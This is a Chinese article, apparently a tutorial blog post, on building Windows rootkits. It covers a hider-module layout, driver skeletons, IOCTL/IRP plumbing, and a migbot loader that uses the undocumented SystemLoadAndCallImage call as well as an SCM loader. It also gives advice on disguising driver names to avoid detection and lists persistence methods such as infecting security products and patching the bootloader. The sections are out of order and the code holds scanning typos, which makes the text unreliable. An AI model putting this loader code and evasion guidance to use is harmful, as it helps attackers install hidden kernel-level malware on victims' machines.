以便于应用开发人员可以复用这些模块,从而高效地开发应用软件,缩短应用软件的开发周期。这些模


块既可能是操作系统厂商提供的,也可能是独立软件厂商提供的。它们既可能构成一个通用的中间件( 


middleware),也可能只是随编译器而提供的一个库模块(静态的或动态的)。例如,Windows操作系统


的发行版本包含大量这样的中间模块(例如COM/COM+、Winsock2、.NET等),它们也成为了Windows的


一部分。


复杂的rootkit可能包含许多组件,一个复杂的rootkit可以使用如下的目录结构:


●/My Rootkit
/src/File Hider●




隐藏文件的代码可能会很复杂,它应该包含在自身的源代码文件**之中。文件隐藏技术有多种,其中一


些可能需要大量代码来实现。例如,有些文件隐藏技术要求钩住(hook)大量的函数调用。每个钩子都


使了相当多的源代码。


●/src/Networks Ops●


在Windows系统上的网络操作需要NDIS和TDI代码。这些驱动程序可能会比较庞大,它们有时链接到外部


库上,将这些特征限制在它们自身的源文件中是合适的。


●/src/Registry Hider●


注册表隐藏操作的方法可能不同于文件隐藏特性。它可能会涉及许多钩子,也可能需要跟踪许多句柄表


或句柄列表。实际上,注册表键和键值相互关联的方式导致注册表键的隐藏存在着问题。因此一些


rootkit开发者对该问题精心设计了非常复杂的解决方案。这类特性也应该限制在它自身的源文件**之中





●/src/Process Hider●


进程隐藏应该使用直接内核对象操作(Direct Kernel Object Manipulation,DKOM)技术。这些文件可能


包含反向工程的数据结构以及其他信息。


当计算机重启后,大多数rootkit也需要重新启动。攻击者在此处提供一个微型服务,用于在系统引导时


“发动”rootkit。使得rootkit随计算机一起重启是一个难题。虽然简单修改注册表键就能够导致在系


统引导时启动文件,但是这种方法很容易被检测到。一些rootkit开发者设计了复杂的引导功能,包括磁


盘上内核补丁以及修改系统引导加载程序。


●/inc●


该目录下包含公共的被包含文件,其中含有类型定义、枚举以及I/O ControI(IOCTL)代码。这些文件通


常被其他所有文件共享,因此应该位于自己的专有空间之中。


●/bin●


该目录下包含所有编译后的文件。


●/lib●


由于编译器自身的库**位于其他目录,因此攻击者可以在该目录下存储自己的附加库或第三方库。


3.3 在内核中引入代码


将代码植入内核中的直接方式是使用可加载模块(有时称为设备驱动程序或内核驱动程序)。大多数现


代操作系统都允许加载内核扩展模块,以便第三方硬件如存储系统、显卡、主板和网络硬件的制造商能


够添加对自己产品的支持。操作系统通常都提供了关于将驱动程序引入内核中的文档和支持。


正如其名称所示,设备驱动程序通常是用于设备的。然而,通过驱动程序可以引入任何代码。一旦拥有


了在内核中运行的代码,就能够完全访问内核和系统进程的全部特权内存空间。通过内核级访问,可以


修改计算机上的所有软件代码和数据结构。


典型的模块结构包含一个入口点,有时还含有清理例程。例如,Linux的可加载模块结构类似于以下形式




int init_module(void)
{
}
void cleanup_module(void)
{
}

在某些情况下,例如对于Windows设备驱动程序,入口点必须注册函数回调。其模块结构类似于以下形式




NTSTATUS DriverEntry (...)
{
theDriver->DriverUnload = MyCleanupRoutine;
}
NTSTATUS MyCleanupRoutine()
{
}

清理例程并非总是必要的,因此Windows设备驱动程序将其设置为可选项。在希望卸载驱动程序时才需要


清理例程。在许多情况下,rootkit在置入系统之后可以驻留其中,无需卸载。但在开发过程中包含一个


卸载例程是有用的,因为在rootkit的改进过程中可能需要加载最新的版本。


3.4 构建Windows设备驱动程序


第一个示例设计成运行于Windows XP和Windows 2000平台上的一个简化的设备驱动程序。它还不是真正


的rootkit只是简单的“hello world”设备驱动程序。

#include "ntddk.h"
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath ) '
{
DbgPrint ( "Hello World ! ") ;
return STATUS SUCCESS;
}

上述代码看起来很简单,将其加载到内核中,调试语句会显示出信息。我们的rootkit示例由多项内容构


成,以下各节分别对其进行介绍。


3.4.1 设备驱动程序开发工具包


为了构建我们的Windows设备驱动程序,需要驱动程序开发工具包(Driver Development Kit,DDK)。


各个Windows版本的DDK可从微软公司得到。有时需要Windows 2003版本的DDK,可以使用这个DDK版本来


构建Windows 2000、Windows XP和Windows 2003的驱动程序。


3.4.2 构建环境


DDK提供了两种不同的构建环境:检查(checked)构建和自由(free)构建环境。在开发设备驱动程序时使


用检查构建环境,对于发行代码则使用自由构建环境。检查构建将调试检查信息编译到驱动程序中,所


生成的驱动程序比自由构建版本大得多,大部分开发工作都应该使用检查构建,只有在测试最终产品时


才切换到自由构建。


3.4.3 文件


驱动程序源代码使用C语言编写,文件的扩展名是“.c”。为了开发第一个项目,先生成一个空目录(


建议为C:\myrootkit),将mydrivcr.c文件置入其中。然后将前述的“hello world"设备驱动程序代码


复制到该文件中。还需要SOURCES文件和MAKEFILE文件。


(1)SOURCES文件


该文件应命名为全部由大写字母组成的SOURCES,没有扩展名。SOURCES文件应该包含以下代码:

TARGETNAME=MYDRIVER
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=mydriver.c

TARGETNAME变量控制驱动程序的命名。该名称可能会嵌入到二进制文件中,因此TARGETNAME不应采取诸


如MY_EVII_ROOTKIT_IS_GONNA_GET_YOU之类的名称。即使以后重新命名该文件,但上述字符串仍可能存


在于二进制文件之中,从而被发现。


更好的驱动程序命名方法是使其看上去类似于合法的设备驱动程序,例如MSDIRECTX、MSVID_H424、


IDE_HD41、SOUNDMGR以及H323FON。
计算机上已经加载了许多设备驱动程序,有时只需通过检查这些现有驱动程序的列表并且对它们的名称


略加变化,就可以得到极好的方案。
TARGETPATH变量通常设成OBJ,它控制文件在编译时的存储位置,驱动文件通常会放置在当前目录的


objchk_xxx/i386子目录下。
TARGETTYPE变量控制所编译的文件类型,创建驱动程序要使用DRIVER类型。
在SOURCES语句行上列出.c文件列表,若使用多行的话,则需要在每行(除了最后一行)结尾处放置“\


”符号。例如:

SOURCES= myfilel.c \
myfile2.c\
myfile3.c
★ 


注意在最后一行没有以反斜线字符结尾。


INCLUDES变量是可选的,它指定了include文件所在的多个目录。例如:

INCLUDES= c:\my_includes \
..\..\inc.\
c:\other_includes

若需要将库链接进来,则使用TARGETLIBS变量。一些rootkit驱动程序使用NDIS库,因此该行类似于以下


形式:


TARGETLIBS=$( BASEDIR) \lib\w2k\1386\ndis.lib或TARGETLIBS=$(DDK_LIB_ PATH) \ndis. lib


在构建NDIS驱动程序时,可能需要在自身系统上寻找ndis.lib文件,并对到达该文件的路径进行硬编码



$(BASEDIR)变量指定了DDK的安装目录。$(DDK_LIB_PATH)指定了默认库的安装位置。路径的其余部分根


据所用的系统和DDK版本而有所区别。


(2)MAKEFILE文件


最后创建一个名称全部由大写字母组成且没有扩展名的MAKEFILE文件。它的代码行上应包含以下内容:

!INCLUDE $(NTMAKEENV) \makefile.def

(3)运行build实用程序


生成了MAKEFILE、SOURCES和.c文件之后,剩下的全部工作就是在DDK中。


启动检查构建环境,它会打开一个命令shell。检查构建环境可以是“开始”菜单的“程序”中 Windows 


DDK图标组之下的一个链接。打开了构建环境的命令shell后,将当前目录改为驱动程序目录,并输入命


令“build”。理想情况下.不会出现任何错误,此时就得到了我们的第一个驱动程序。一个提示:要确


保驱动程序目录所在位置的完整路径中不包含任任何空格。例如,可以将驱动程序放在c:\myrootkit 


中。


可以在网址www.rootkit.com/vault/hoglund/basic_l.zip上找到包含了已创建的MAKEFILE和SOtlRCES


文件的驱动程序示例。


(4)卸载例程


在创建驱动程序时,将theDriverObject参数传递给驱动程序的主函数。它指向一个包含函数指针的数据


结构。这些函数指针之一称为“卸载例程”。若设置了卸载例程,这意味着可以从内存中卸载驱动程序


。若不设置该指针的话,则驱动程序可以加载,但不会卸载。需要重启机器以便从内存中删除驱动程序





当为驱动程序继续开发功能时,需要多次对其进行加载和卸载。所以应该设置卸载例程,以便每次测试


新的驱动程序版本时无须重启。


设置卸载例程并不难,先需要创建一个卸载函数,然后设置卸载指针:

// BASIC DEVICE DRIVER
#include "ntddk.h"
// This is our unload function
VOID OnUnload( IN PDRIVER_OBJECT DriverObject
{
DbgPrint ( "OnUnload called\n") ;
}
NTSTATUS DriverEntry (IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
DbgPrint("I loaded!");
// Initialize the point to the unload function
// in the DriverObject
theDriverObject->DriverUnload - OnUnload;
return STATUS_SUCCESS;
}

此时就可以在无须重启机器的情况下安全的加载和卸载驱动程序。


3.5 用户模式和内核模式的融合


rootkit很容易同时包含用户模式和内核模式的组件。用户模式部分完成大多数功能,例如联网和远程控


制,而内核模式部分则执行潜行和访问。
大多数rootkit都需要内核级别的破坏活动,同时还提供了复杂的特性。由于这些复杂特性可能含有程序


缺陷并且还需要使用系统的API库,因此用户模式的方法是首选方法。
用户模式的程序可通过多种方式与内核级驱动程序通信。最常见的一种方式是使用I/O Control(IOCTL


)命令。IOCTL命令是可以由程序员定义的命令消息。


3.5.1 I/O请求报文


一个需要理解的设备驱动程序概念是I/O请求报文(l/O Request Packet,IRP),它只是包含数据缓冲区


的数据结构。为了与用户模式的程序进行通信,Windows设备驱动程序通常需要处理IRP。处于用户模式


的程序可以打开一个文件句柄并向其中写入信息。在内核中,这个写入操作表示为一个IRP。因此若用户


模式的程序向文件句柄中写入字符串“HELLO DRIVER!",则内核将会创建一个包含了缓冲区和字符


串“HELLO DRIVER!"的IRP。用户模式和内核模式之间的通信可以通过这些IRP进行。


为了操作IRP,内核驱动程序必须包含IRP的处理函数。和卸载例程的安装工作一样,只需在驱动程序对


象中设置适当的函数指针:

NTSTATUS OnStubDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
lrp->IoStatus.Status=STATUS_SUCCFSS;
IoCompleteRequest (Irp, IO_NO_INCREMENT );
return STATUS_SUCCESS;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("OnUnload called\n");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )

int i;
theDriverObject->DriverUnload = OnUnload;
for(i=O;i< IRP_MJ_MAXIMUM_FUNCTION; i++ )
{
theDriverObject->MajorFunctiori[i] = OnStubDispatch;
}
return STATUS SUCCESS;
★ 


在实际的驱动程序中,很可能会为每个主函数都创建一个单独的函数。例如,假定要处理READ和WRITE事


件。当用户模式的程序使用驱动程序句柄来调用ReadFile或WriteFile时,会激活这些事件。更完整的驱


动程序还会处理其他功能,例如关闭文件或发送IOCTL命令等,下面给出了主函数指针的一组示例: 

DriverObject->MajorFunction[IRP_MJ_CREATE] = MyOpen;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = MyClose;
DriverObject->MajorFunction[IRP_MJ_READ] = MyRead;
DriverObject->MajorFunction[IRP_MJ_WRITE] = MyWrite;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyIoControl;

对于每个被处理的主函数,驱动程序都需要指定一个将要调用的函数。例如,驱动程序可能包含以下函


数:

NTSTATUS MyOpen(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// do something
...
return STATUS_SUCCESS;
}
NTSTATUS MyClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
// do something
...
return STATUS_SUCCESS;
}
NTSTATUS MyRead(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// do something
...
return STAIUS_SUCCESS;
}
NTSTATUS MyWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// do something
...
return STATUS_SUCCESS;


}
NTSTATUS MyIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
PIO_STACK_LOCATION IrpSp;
ULONG FunctionCode;
IrpSp = IoGetCurrentIrpStackLocation (Irp) ;
FunctionCode= IrpSp-> Parameters.DeviceIoControl. IoControlCode;
switch (FunctionCode)
{
// do something
...
}
return STATUS_SUCCESS;
}

3.5.2 创建文件句柄


另一个需要理解的概念是文件句柄。为了从用户模式的程序中使用内核驱动程序,用户模式的程序必须


打开一个驱动程序句柄。这只有当驱动程序已经注册了一个指定的设备之后才能进行。一旦注册完成,


用户模式的程序就可以将指定设备像文件一样打开。这非常类似于许多UNIX系统上的设备工作方式——


将所有设备都像文件一样对待。


对于我们的示例,内核驱动程序使用下面的代码来注册设备:

const WCHAR deviceNameBuffer[] =L¨\\Device\\MyDevice";
PDEVICE_OBJECT g_rootkitDevice; //Global pointer to our device object
NTSTATUS DriverEntry ( IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
// Set up our name and symbolic link.
RtlInitUnicodeString (&deviceNameUnicodeString,deviceNameBuffer ) ;
// Set up the device.
//
ntStatus = IoCreateDevice ( DriverObject,
0, // For driver extension
&deviceNameUnicodeString
0x00001234
0,
TRUE,
&g_rootkitDevice );
...

在上述的代码片段中,DriverEntry例程创建了一个名为MyDevice的设备,注意在函数调用中使用了完全


限定(fully qualiricd)路径:

const WCHAR deviceNameBuffer [] = L" \\Device\\MyDevice";

前缀“L”表示以UNICODE编码定义字符串.这是API调用所需的。一旦创建了设备,用户模式的程序可以


将其像文件一样打开:

hDevice = Create File ( "\\\\Device\\MyDevice",
GENERIC_READ ( GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if ( hDevice == ((HANDLE) -1) )
return FALSE;

一旦打开了文件句柄,它就可以在用户模式的函数如ReadFile和WriteFile 中充当参数,也可以用于进


行IOCTL调用,这些操作会导致生成要在驱动程序中处理的IRP。


从用户模式中很容易打开和使用文件句柄,下面分析如何通过符号链接使文件句柄更加易用。


3.5.3 添加符号链接


第三个关于设备驱动程序的重要概念是符号链接,为了便于用户模式的程序打开文件句柄,一些驱动程


序使用了符号链接,这个步骤不是必需的,却是有益的:符号名更便于记忆。这种驱动程序会创建一个


设备,然后调用IoCreateSymbolicLink来创建符号链接,有些rootkit采用了这种技术。

const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\vicesys2";
const WCHAR deviceNameBuffer[] = L"\\Device\\vicesys2";
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Set up our name and symbolic link.
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer ) ;
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer ) ;
// Set up the device
//
ntStatus = IoCreateDevice ( DriverObject,
0, // For driver extension
&deviceNameUnicodeString,
FILE DEVICE_ROOTKIT,
0,
TRUE,
&g_rootkitDevice ) ;
if ( NT_SUCCESS (ntStatus)) {
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );
★ 
在创建了符号链接之后,用户模式的程序可以使用字符串“\\.\MyDevice"来打开设备句柄。是否创建符


号链接实际上并不重要,它只是使得用户模式的代码更容易找到驱动程序,但这不是必需的。

hDevice = CreateFile ( " \\\\ . \\MyDevice",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if ( hDevice == ((HANDLE) -1) )
return FALSE;

前面已经讨论了如何使用文件句柄在用户模式和内核模式之间进行通信,下面介绍如何加载设备驱动程


序。


3.6 加载rootkit


不可避免地,需要从用户模式的程序中加载驱动程序。例如,在侵入计算机系统时会希望复制某个部署


程序,该程序在运行时将rootkit加载到内核中。加载程序通常会将.sys文件的副本解压缩到硬盘上,然


后发出命令将其加载到内核中。当然,要使得这些操作有效,程序必须以“管理员”权限运行。将驱动


程序加载到内核中有许多方式。下面具体介绍两种有效的方法:草率方式"(quick and dirty)"和正确方


式"(The Right Way)"。


3.6.1 草率方式


通过未在文档中说明的API调用,可以在无须创建任何注册表键的情况下将驱动程序加载到内核中。该方


法的问题在于驱动程序是可分页的,可分页的是指可以交换到磁盘上的内存,若驱动程序是可分页的,


则它的任何组成部分都可以页换出(即从内存交换到磁盘上)。有时当内存被页换出时,就再无法访问


它,尝试对其进行访问会导致一种声名狼藉的系统崩溃——蓝屏死机(Blue Screen of Death,BSOD)。


这种加载方法真正安全的唯一方法是围绕分页问题专门对其进行设计。


使用这种加载方法的rootkit示例是migbot,它可以从rootkit.com网站上得到。migbot非常简单,它将


全部操作代码都复制到不分页的内存池中,因此驱动程序是分页的这个事实不会影响migbot所执行的动


作。


migbot的源代码可以从网址www.rootkit.com/vault/hoglund/migbot.zip下载。


加载方法通常称为SYSTEM LOAD AND CALL IMAGE,因为这是在文档中未说明的API调用的名称,


migbotloader的加载代码如下所示:



// load a sys file as a driver using undocumented method
bool load_sysfile()
{
SYSTEM_LOAD AND CALL_IMAGE Gregslmage;
WCHAR daPath[] = L"\\??\\C:\\MIGBOT.SYS";
/
// get DLL entry points
/
if ( ! (RtlInitUnicodeString = (RTLINITUNICODESTRING)
GetProcAddress ( GetModuleHandle ( "ntdll.dll")
, "RtlInitUnicodeString"
)))
{
return false;
if(! (ZwSetSystemlnformation = (ZWSETSYSTEMINFORMATION)
GetProcAddress (
GetModuleHandle ( "ntdll.dll")
, "ZwSetSystemInformation" )))
return false;
}
RtlInitUnicodeString (& (GregsImage.ModuleName),daPath);
if (!NT SUCCESS (
ZwSetSystemlnformation (SystemLoadAndCalllmage,
&Gregs Image,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE))))
{
return false;
return true;

上述代码在用户模式下运行,所用的.sys文件是C:\migbot.sys。


migbot没有提供卸载特性。加载它之后,只有在系统重启时才能卸载它。可以将其看作是“发后不


理”(fire-and-forget)操作。该方法的优点是它比较完备的协议更加隐秘,缺点在于它使得rootkit的


设计复杂化。对于migbot来说,这是一种好的解决方法:但对于具有许多钩子的复杂rootkit来说,支持


该方法需要太多的开销。


3.6.2 正确方式


已建立的驱动程序正确加载方法是使用服务控制管理器(Service Control Manager,SCM),使用SCM需要


创建注册表键,当驱动程序通过SCM加载时,它是不可分页的。这意味着回调函数、IRP处理函数以及其


他重要代码将不会从内存中消失,不会被页换出,也不会导致蓝屏死机,这是一个好的特性。


下面的示例代码通过SCM方法基于名称来加载任意驱动程序。它注册并启动驱动程序。您可以根据自身意


愿在自己的加载程序中引用该代码:

bool _util_load_sysfile(char theDriverName)
{
char aPath[1024];
char aCurrenDirectory[5 1 5];
SC_HANDLE sh=OpenSCManager(NULL, NULL,
SC_MANAGER_ALL_ACCESS);
if(!sh)
{
return false;
}
GetCurrentDirectory( 512, aCurrentDirectory);
_snprintf(aPath,
1022,
¨%S\\%s.sys",
aCurrentDirectory,
theDriverName),
printf ("loading %s、n¨, aPath);
SC_HANDLE th = CreateService(sh,
theDriverName,
theDriverName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
aPath


NULL,
NULL,
NULL,
NULL,
NULL) ;
if ( ! rh)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
}
else
{
// service exists
th = OpenService (sh,
theDriverName,
SERVICE_ALL_ACCESS) ;
if ( ! rh)
{
CloseServiceHandle (sh) ;
return false;


CloseServiceHandle (sh);
return false;
}
// start the drivers
if (rh)
{
if(0 == StartService(rh,0,NULL))
{
if(ERROR_SERVICE_ALREADY_RUNNING == GetLastError())
{
// no real problem
)
e
CloseServiceHandle (sh) ;
CloseServiceHandle ( rh) :
return false;
}
}
CloseServiceHandle ( sh) ;
CloseServiceHandle ( rh) ;
}
return true;
}

至此已经学习了两种将驱动程序或rootkit加载到核心内存中的方法,OS的全部权限都已掌握在手。


3.7 系统重启后的考验


rootkit驱动程序必须在系统启动时加载。对这个问题进行一般性的考虑时,可以发现系统启动时会加载


许多不同的软件组件,只要rootkit与下文中某个启动事件相关联,它也会加载进来。


(1)使用注册表键“run”(古老的可靠方法)


注册表键“run"(及其派生键)可用于在启动时加载任意程序,它也可以解压缩rootkit并加载,


rootkit加载后可以隐藏注册表键“run”的值,使得自身无法被检测。所有的病毒扫描器都检查该键,


因此这种方法具有高度风险。然而,一旦加载了rootkit,就可以将该键的值隐藏起来。


(2)使用特洛伊木马或被感染的文件


类似于病毒感染文件的方式,在启动动时加载的任何.sys文件或可执行文件都可以以被替换,加载程序


的代码也可以**入。具有讽刺意味的是,感染的最佳目标之一就是病毒扫描或安全产品。安全产品通常


在系统启动时开始运行,特洛伊木马DLL则可以**入到搜索路径中,或者只是简单地替换或“感染”现有


的DLL。


(3)使用.ini文件


可以修改.ini文件来执行程序,许多程序都具有初始化义件,它们能够在启动时运行命令或指定要加载


的DLL,通过这种方式使用的文件示例是win.ini。


(4)注册成为驱动程序


rootkit可以将自身注册为在启动时加载的驱动程序,这需要创建注册表键,一旦加载了rootkit之后,


也可以将表键隐藏起来。


(5)注册为现有程序的附加件


间谍件常用的一种方法是向Web浏览应用程序中添加扩展(例如,伪装成搜索栏的形式)。在应用程序加


载时也加载了该扩展,这种方法需要启动相应的应用程序,但如果在必须激话rootkit之前能够启动应用


程序的话,则该方法对于加载rootkit来说是有效的。它的缺陷是已存在着许多的广告件扫描器,它们可


能检测到应用程序的这些扩展。


(6)修改磁盘上的内核


可以直接修改内核并将其保存到磁盘上。对启动引导程序必须进待多处修改,以便内核能够通过校验和


的完整性检查。这种方法非常有效,因为内核被永久地修改,并且无须注册驱动程序。


(7)修改启动引导程序


可以修改启动引导程序,在内核加载之前对其打补丁。该方法的优点是对系统进行离线分析时内核文件本


身看不出修改。然而,使用恰当的工具仍可以检测到对启动引导程序进行的修改。


启动时加载的方法有许多种,以上仅仅是其中的一部分,只要发挥创造力去思考,一定能想到更好的加


载方法。


4.3 内存页


全部内存都划分成页面,如同在一本中一样。—个页面只能存储固定数目的字符,每个进程都可以拥有


一个单独的查询表来寻找这些内存页。


将内存想像为一个巨大的图书馆,其中每个进程都单独拥有自己的卡片目录以进行查询,不同的查询表


会导致每个进程查看的内存视图完全不同。因此,一个进程可以读出内存地址0x00401122的内容


为“GREG”,而另一个进程读出同一内存地址的内容可以为“JAMIE",每个进程都有唯一的内存“视图


”。


访问控制机制作用于内存页面,继续使用关于图书馆的比喻,假设CPU是一个专横的图书管理员,一个进


程只允许查看馆内的数本书。为了读出或写入内存,进程首先必须为正在处理的内存找到正确的“图书


”,然后找到精确“页面”,若CPU不批准所请求的图书或页面,则该访问被拒绝。


通过这种方式寻找页面的查询过程是耗时且复杂的,这个过程中多个阶段实施了访问控制。首先,CPU检


查进程是否能够打开正在被处理的图书(描述符检查),然后CPU检查进程是否能够读出书中的特定章节


(页目录检查),最后CPU检查进程是否能够读出该章节中的特定页(页面检查),这是相当巨大的工作


量。


进程只有通过了所有的安全检查,才可以读出一个页面。即使CPU检查都通过,但页面还可能标记为只读


性质。这意味着进程能够读出页面,但是无法向其中写入。数据的完整性通过这种方式得以维护,


rootkit开发者就像图书馆里面的野蛮人一样,试图在所有这些书上胡乱涂写——因此我们必须尽可能地


学会关于操作访问控制的知识。


4.3.1 内存访问检查


为了访问内存贞面,x86处理器依次执行以下检查:


描述符(或段)检查:通常要访问全局描述符表(GDT),并检查段描述符(segment descriptor)。段描述


符包含一个称为描述符权限级别(Descriptor Privilege Level,DPL)的值。DPL包含了调用进程所需的


环编号(0到3)。若DPL需求低于调用进程的环级别(有时称为当前权限级别(Current Privilege Level


,CPL)),则访问被拒绝且内存检查终止。


页目录检查:对整个页表(即整个内存页范围)需要检查用户/超级用户位。若该位设置为0,则只有“


超级用户”程序(环O、l和2)能够访问该内存页范围。若调用进程不是“超级用户”,则内存检查终止


。若该位置设置为1,则任何程序都能访问该内存页范围。


页面检查:对单个内存页面执行该检查。若已经成功通过页目录检查,则对正在处理的单个页面进行页


检查。类似于页目录,对每个页面都要检查一个用户/超级用户位。若该位设置为O,则只有“超级用户


”程序(环O、l和2)能够访问该页面:若该位设置为1,则任何程序都能访问该页面。只有当进程能够


到达并通过本检查并且没有任何访问禁止,它才可以访问内存页。


Windows系列操作系统并不真正使用描述符检查。相反,Windows只依赖于环0和环3(有时称为内核模式


和用户模式)。因此可以只使用页表检查中的用户/超级用户位束控制对内存的访问。内核模式的程序


运行往环0上,总是能够访问内存。用户模式的程序则运行在环3上,只能访问标记为“user”的内存。


4.3.2 分页和地址转换


内存保护机制的用途不仅限于安全。大多数现代操作系统都支持虚存,这使得系统上的每个程序都拥有


自己的地址空间。它还允许程序使用远比实际可用“内存”多得多的内存。例如,RAM大小为256 MB的计


算机不会限制每个程序只能使用256MB内存。程序如果需要的话,能够很容易地使用1GB内存。额外的内


存只需存储在磁盘上的分页文件(pagingrile)中。虚存允许多个进程在所用的内存总量大于已安装的物


理RAM时同时执行,并且每个进程都拥有自己的内存空问。


内存页可以标记为页换出(paged out),即存储在磁盘上而不是RAM中。当搜索这种内存贞时,处理器将


会中断。中断处理程序将该页读回到内存之中,并将其标记为页换入(paged in)。在任一特定时刻,大


多数系统只允许将全部可用内存的一小部分进行页换入。物理RAM较少的计算机需要一个经常被访问的很


大的分页文件。反之,物理RAM越多意味着访问分页文件越少。


每当程序读取内存时,都必须指定一个地址。对于每个进程,该地址必须转换为实际的物理内存地址。


这是重要的:进程使用的地址与数据驻留的实际物理地址并不一致。需要通过转换例程来标识正确的物


理存储位置。


例如,若NOTEPAD.EXE搜寻虚地址0x0041FF1O的内存内容,则实际的物理地址可以转换成例如0x0IEE2F10


。若NOTEPAD.EXE执行指令“mov eax,0x0041FF10",则读入到EAX 中的值实际会存储在物理地址


0x01EE2F10。该地址从虚地址转换成物理地址。


4.3.3 多个进程使用多个页目录


理论上,操作系统可以通过单个页目录来维护多个进程、进程间的内存保护以及磁盘上的分页文件。但


是,如果只存在着一个页目录,则虚存将只有一个转换映射。这意味着所有进程都必须共享一内存空间


。在Windows NT/2000/XP/2003系统中,每个进程都有自己的内存空间——它们并不共享。


大多数可执行文件的起始地址是0x00400000。多个进程如何能够使用同一个虚拟地址,而不会在物理内


存中发生冲突?答案是使用多个页目录。


系统上的每个进程都维护唯一的页目录,都拥有自己私有的CR3寄存器的值,这意味着每个进程都有一个


独立且唯一的虚存映射。因此,两个不同的进程可以同时访问内存地址0x00400000,但将其转换成两个


独立的物理内存地址。这也是为何一个进程无法查看另一个进程内存的原因。


尽管每个进程都有唯一的页表,但通常所有进程对0x7FFFFFFF上的内存空间都进行同样的映射。该内存


范围是为内核保留的,而内核内存不管哪个进程在运行都是一致的。


即使在环O级别上运行时,也会有一个活动进程上下文,它包括该进程的机器状态(例如保存的寄存器值


)、进程的环境、进程的安全令牌以及其他参数。为了便于讨论,它还包含CR3寄存器,从而也包含了活


动进程的页目录。rootkit开发者应该考虑到对进程页表的改动不仅会在用户模式中影响该进程,还会在


该进程处于上下文中时影响到内核,这可以用于高级潜行技术。


4.3.4 进程和线程


rootkit开发者应该知道,管理运行中代码的主要机制是线程,并非进程,Windows内核基于线程而不是


进程的数量对进程进行调度。假如存在两个进程:一个是单线程的,另一个具有9个线程,则系统将为每


个线程分配1O%的处理时问,单线程的进程只能获得1O%的CPU时问,而具有9个线程的进程会得到90%的时


间。当然,这是一个人为示例,因为其他因素(例如优先级)也在调度过程中发挥作用,但以下事实仍


存在:当其他所有因素相同时,调度工作完全基于线程数目,而不是进程数目。


什么是进程?在Windows系统中进程只是一组线程共享以下数据的一种方式:


虚地址空间(即CR3的值)。
访问令牌,包括SID。
Win32内核对象的句柄表。
工作集(进程“拥有”的物理内存)。


rootkit出于多种目的(如潜行和代码注入)必须处理线程和线程结构。它不必创建新进程,而是创建新


线程并将其分配给现有进程,需要创建一个全新进程的情况很少。


当切换到一个新线程的上下文时,旧线程的状态会保存起来,每个线程都有自己的内核堆栈,因此将线


程状态推入到线程内核堆栈的顶部,若新线程属于另一个进程,则将新进程的页目录地址加载到CR3 中


。页目录地址可以在进程的KPROCESS结构中找到,一旦发现了新线程的内核堆栈,就从该堆栈的项部弹


出新线程的上下文,并开始执行新线程。若rootkit修改了进程的页表,该修改将作用于该进程中的所有


线程,因为这些线程都共享同一个CR3值。


五、备注


5.1 附言


至此关于rootkit的基础介绍就告一段落了。本来是想写一篇关于RK的完全解读的,但是由于最近


rootkit.com的被攻击,我无法获得一些重要的资料和代码,只能用手上的资料写了这篇文章,所以《详


述RK》就变成了《RK基础》了。等到rootkit.com恢复后,我会写一篇《RK高级技巧》和本篇补成一套。


正如前面说的:“rootkit并非天生邪恶,也并不总是被黑客所使用。rootkit只是一种技术,理解这一


点是很重要的。美好或邪恶的意图取决于使用它们的人。”希望大家能过记住这一点,那么这篇文章便


是有意义的。


5.2 参考资料
《Windows内核原理与实现》 潘爱民 电子工业出版社
《Rootkits——Windows内核的安全防护》 (美)Greg Hoglund,(美)James Butler著 清华大学出版社
《决战恶意代码》 (美)Ed Skoudis Lenny Zelter 电子工业出版社
《软件调试》 张银奎 电子工业出版社
《天书夜读-从汇编语言到Windows内核编程》 谭文、邵坚磊 电子工业出版社
《现代操作系统》 (荷)Andrew.s.Tanenbaum
《黑客反汇编揭秘》第二版 (俄)克里斯·卡巴斯基 电子工业出版社等众多资料。


四、硬件相关问题


软件和硬件是形影不离的。没有软件,硬件只是毫无生命力的硅晶体;而没有硬件,软件也无法存在,


软件最终控制着计算机,但在表象之下却是由硬件实现了软件代码。


另外,硬件是软件安全的最终实施部件。没有硬件支持,软件将是彻底不安全的,许多资料在介绍软件


开发时都不曾提及过底层硬件,这对于企业应用的开发者来说也许已足够,但对于rootkit开发者来说还


不行,rootkit开发者需要面对逆向工程问题、手工编码的汇编语言,以及对系统上的软件工具的高技术


性攻击,理解底层硬件有助于解决这些难题。


所有的访问控制最终都是由硬件实现的,例如,流行的进程隔离(process separation)概念在Intel x86


硬件上通过“环(ring)”机制来实施。若Intel的CPU没有访问控制机制,则所有在系统上执行的软件都


